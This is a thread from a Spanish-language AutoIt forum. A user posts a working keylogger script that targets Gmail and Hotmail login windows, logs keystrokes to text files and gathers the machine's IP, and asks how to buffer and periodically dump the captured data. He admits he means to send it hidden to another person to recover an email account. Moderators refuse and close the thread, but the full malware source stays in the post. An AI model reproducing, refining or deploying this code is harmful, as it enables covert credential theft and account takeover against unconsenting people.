Como almacenar datos en una variable?

Pregunta Sin Miedo no te cortes cualquier cosa para empezar - Autoit se comienza facilmente.Para Ordenes o Comandos sueltos. Ver nota como preguntar.
Cerrado
markus
Mensajes: 28
Registrado: 02 Abr 2010, 21:28

Como almacenar datos en una variable?

Mensaje por markus »

Buenas, chicos tengo una pregunta.
Yo he recopilado un poco de información sobre capturar eventos del teclado y logre hacer este script:

Código: Seleccionar todo


#include <Misc.au3>
#include <IE.au3>
#include <Date.au3>
#include <Inet.au3>

dim $dato, $fecha, $ip, $nombre  ;Declaro mis variables a utilizar
$fecha = _Now()  ; Con esto obtengo la fecha y la hora
$ip = _GetIP()       ;Con esto obtengo la ip.

while 1
	If WinActive("Gmail: correo electrónico de Google") Then   ;Si la ventana activa tiene ese titulo
		$nombre = "Gmail.txt"   
		logea()
	EndIf
	
	If WinActive("Iniciar sesión") Then  ;Si la ventana activa tiene ese titulo
		$nombre = "Hotmail.txt"
		logea()
	EndIf
WEnd

Func logea()
$dll = DllOpen("user32.dll")
    If _IsPressed("41", $dll) Then
		$dato = "a"
		grabar ()
	EndIf
	If _IsPressed("42", $dll) Then
		$dato = "b"
		grabar ()
    EndIf
	If _IsPressed("43", $dll) Then
		$dato = "c"
		grabar ()
    EndIf
	If _IsPressed("44", $dll) Then
		$dato = "d"
		grabar ()
	EndIf
	If _IsPressed("45", $dll) Then
		$dato = "e"
		grabar ()
    EndIf
	If _IsPressed("46", $dll) Then
		$dato = "f"
		grabar ()
    EndIf
	If _IsPressed("47", $dll) Then
		$dato = "g"
		grabar ()
	EndIf
	If _IsPressed("48", $dll) Then
		$dato = "h"
		grabar ()
    EndIf
	If _IsPressed("49", $dll) Then
		$dato = "i"
		grabar ()
    EndIf
	If _IsPressed("4a", $dll) Then
		$dato = "j"
		grabar ()
	EndIf
	If _IsPressed("4b", $dll) Then
		$dato = "k"
		grabar ()
    EndIf
	If _IsPressed("4c", $dll) Then
		$dato = "l"
		grabar ()
    EndIf
	If _IsPressed("4d", $dll) Then
		$dato = "m"
		grabar ()
	EndIf
	If _IsPressed("4e", $dll) Then
		$dato = "n"
		grabar ()
    EndIf
	If _IsPressed("4f", $dll) Then
		$dato = "o"
		grabar ()
    EndIf
	If _IsPressed("50", $dll) Then
		$dato = "p"
		grabar ()
	EndIf
	If _IsPressed("51", $dll) Then
		$dato = "q"
		grabar ()
    EndIf
	If _IsPressed("52", $dll) Then
		$dato = "r"
		grabar ()
    EndIf
	If _IsPressed("53", $dll) Then
		$dato = "s"
		grabar ()
	EndIf
	If _IsPressed("54", $dll) Then
		$dato = "t"
		grabar ()
    EndIf
	If _IsPressed("55", $dll) Then
		$dato = "u"
		grabar ()
    EndIf
	If _IsPressed("56", $dll) Then
		$dato = "v"
		grabar ()
	EndIf
	If _IsPressed("57", $dll) Then
		$dato = "w"
		grabar ()
    EndIf
	If _IsPressed("58", $dll) Then
		$dato = "x"
		grabar ()
    EndIf
	If _IsPressed("59", $dll) Then
		$dato = "y"
		grabar ()
	EndIf
	If _IsPressed("5a", $dll) Then
		$dato = "z"
		grabar ()
    EndIf
	If _IsPressed("20", $dll) Then
		$dato = " "
		grabar ()
    EndIf
	If _IsPressed("01", $dll) Then
		$dato = " "
		grabar ()
    EndIf
	If _IsPressed("0d", $dll) Then
		$dato = @CRLF
		grabar ()
    EndIf
	If _IsPressed("30", $dll) Then
		$dato = "0"
		grabar ()
    EndIf
	If _IsPressed("31", $dll) Then
		$dato = "1"
		grabar ()
    EndIf
	If _IsPressed("32", $dll) Then
		$dato = "2"
		grabar ()
    EndIf
	If _IsPressed("33", $dll) Then
		$dato = "3"
		grabar ()
    EndIf
	If _IsPressed("34", $dll) Then
		$dato = "4"
		grabar ()
    EndIf
	If _IsPressed("35", $dll) Then
		$dato = "5"
		grabar ()
    EndIf
	If _IsPressed("36", $dll) Then
		$dato = "6"
		grabar ()
    EndIf
	If _IsPressed("37", $dll) Then
		$dato = "7"
		grabar ()
    EndIf
	If _IsPressed("38", $dll) Then
		$dato = "8"
		grabar ()
    EndIf
	If _IsPressed("39", $dll) Then
		$dato = "9"
		grabar ()
    EndIf
	If _IsPressed("60", $dll) Then
		$dato = "0"
		grabar ()
    EndIf
	If _IsPressed("61", $dll) Then
		$dato = "1"
		grabar ()
    EndIf
	If _IsPressed("62", $dll) Then
		$dato = "2"
		grabar ()
    EndIf
	If _IsPressed("63", $dll) Then
		$dato = "3"
		grabar ()
    EndIf
	If _IsPressed("64", $dll) Then
		$dato = "4"
		grabar ()
    EndIf
	If _IsPressed("65", $dll) Then
		$dato = "5"
		grabar ()
    EndIf
	If _IsPressed("66", $dll) Then
		$dato = "6"
		grabar ()
    EndIf
	If _IsPressed("67", $dll) Then
		$dato = "7"
		grabar ()
    EndIf
	If _IsPressed("68", $dll) Then
		$dato = "8"
		grabar ()
    EndIf
	If _IsPressed("69", $dll) Then
		$dato = "9"
		grabar ()
    EndIf
	If _IsPressed("08", $dll) Then
		$dato = "BACKSPACE "
		grabar ()
    EndIf
	If _IsPressed("09", $dll) Then
		$dato = "TAB "
		grabar ()
    EndIf
	If _IsPressed("2E", $dll) Then
		$dato = "Supr "
		grabar ()
	EndIf
	If _IsPressed("10", $dll) Then
		$dato = "SHIFT "
		grabar ()
    EndIf
	If _IsPressed("11", $dll) Then
		$dato = "CTRL "
		grabar ()
    EndIf
	If _IsPressed("12", $dll) Then
		$dato = "ALT "
		grabar ()
    EndIf
	If _IsPressed("13", $dll) Then
		$dato = "PAUSE "
		grabar ()
    EndIf
	If _IsPressed("14", $dll) Then
		$dato = "CAPSLOCK "
		grabar ()
    EndIf
	If _IsPressed("1b", $dll) Then
		$dato = "ESC "
		grabar ()
    EndIf
	If _IsPressed("bb", $dll) Then
		$dato = "="
		grabar ()
    EndIf
	If _IsPressed("bc", $dll) Then
		$dato = ","
		grabar ()
    EndIf
	If _IsPressed("6a", $dll) Then
		$dato = "*"
		grabar ()
    EndIf
	If _IsPressed("bd", $dll) Then
		$dato = "-"
		grabar ()
    EndIf
	If _IsPressed("6d", $dll) Then
		$dato = "-"
		grabar ()
    EndIf
	If _IsPressed("6b", $dll) Then
		$dato = "+"
		grabar ()
    EndIf
	If _IsPressed("6f", $dll) Then
		$dato = "/"
		grabar ()
    EndIf
	If _IsPressed("be", $dll) Then
		$dato = "."
		grabar ()
    EndIf
	If _IsPressed("6e", $dll) Then
		$dato = "."
		grabar ()
    EndIf
	If _IsPressed("db", $dll) Then
		$dato = "["
		grabar ()
    EndIf
	If _IsPressed("dc", $dll) Then
		$dato = "\"
		grabar ()
    EndIf
	If _IsPressed("dd", $dll) Then
		$dato = "]"
		grabar ()
    EndIf
	If _IsPressed("40", $dll) Then
		$dato = "@"
		grabar ()
    EndIf
	If _IsPressed("01", $dll) Then
		$dato = "[*]"
		grabar ()
    EndIf
DllClose($dll)
EndFunc

Func grabar()
	$file = FileOpen($nombre, 1) ;El 1 quiere decir que añade la info capturada al txt
	FileWrite($file, $dato)    
	FileClose($file)
	Sleep (160) ;Espero 160 mseg y salgo de la funcion.
EndFunc

Como verán este script me funciona bien pero tengo 2 problemas.
1.- El primer problema es que debido al sleep(160) aveces no me captura la tecla pulsada. Ahora mientras mas grande sea ese sleep pues mas posibilidades tengo de fallar en la captura pero mientras más pequeño sea el sleep, digamos un sleep (30) resulta ser que me captura la tecla demasiadas veces, por ejemplo si abro hotmail y escribo USUARIO el sleep me verifica cada 30 mseg la tecla pulsada y me da como resultado esto: UUUUUUUUSSSSSSSUUUUUUUAAAAAAAARRRRIIIIIIIIOOOOOOOOO. Pienso que sería cuestion de buscar un número ideal para el sleep. Yo lo tengo en 160 y me funciona casi perfecto pero quisiera saber si es posible utilizar alguna funcion que solo detecte la tecla pulsada y no me la repita mientras la tenga pulsada. Pudiese ser con el HotKeySet("TECLA","FUNCION")

2.- El segundo problema que tengo es que yo no quiero que me grabe los logs de esa manera. Yo quisiera saber si es posible que a medida que me vaya capturando una tecla me la vaya almacenando en memoria, algo asi como un Array[...] nose nose :smt017 y luego cada 10 minutos por ejemplo me volque los datos contenidos en la variable o Array a un txt. eso es posible?

Haaaa y otra cosa referente a esto:

Código: Seleccionar todo

$fecha = _Now() 
$ip = _GetIP()
Yo pienso utilizar estos datos obtenidos pero como pueden observar no es posible ya que no hay manera de incorporarlo (eso creo) a la funcion grabar() ya que no es procedente grabar una tecla y meterle la ip y la fecha jejejejeje que desastre seria eso... :smt005. Eestaba considerando inyectarla al txt al principio cuando inicie el programa pero no es la idea. Tambien estoy pensando en no almacenar la info en 2 txt separados como lo son hotmail y gmail sino identificar en el mismo txt cuando pertenecen a hotmail y cuando a gmail.

Espero que me puedan ayudar ya que ya no hayo por donde entrarle al problema!!! Un saludo a todos :smt006
Avatar de Usuario
Chefito
Profesional del Autoit
Mensajes: 2035
Registrado: 21 Feb 2008, 18:42
Ubicación: Albacete/Cuenca (España)

Re: Como almacenar datos en una variable?

Mensaje por Chefito »

Para que es este tipo de script??? Esto no será un keylogger no??? :smt011
Cita vista en algún lugar de la red: En este mundo hay 10 tipos de personas, los que saben binario y los que no ;).
markus
Mensajes: 28
Registrado: 02 Abr 2010, 21:28

Re: Como almacenar datos en una variable?

Mensaje por markus »

Mas o menos es algo asi. Necesito recuperar un correo que me quito una persona de confianza y le voy a enviar el programita escondido. NO creo que sea problema, pienso que somos responsable de nuestras acciones siempre y cuando no utilicemos para mal nuestros conocimientos pero con tal de recuperar mi cuenta de correo hago cualquier cosa. Si quieres me ayudas y sino sigo adelante pero en verdad necesito recuperarlo.
Un abrazo.
Avatar de Usuario
XPyro
Profesional del Autoit
Mensajes: 542
Registrado: 04 Mar 2007, 10:12
Ubicación: México
Contactar:

Re: Como almacenar datos en una variable?

Mensaje por XPyro »

Ya se a hablado bastante de que este foro de AutoIt no apoyara ningún tipo de programa malintencionado, ya sea de buena o mala fe.

sea cual sea el motivo es para perjudicar al prójimo, si ves que te funciona no dudes en que otro usuario querrá hacer lo mismo y llegara a este tema.

Lamentamos los problemas y perdonar por decirlo de esta manera. :smt018

Tema cerrado...
Imagen
Cerrado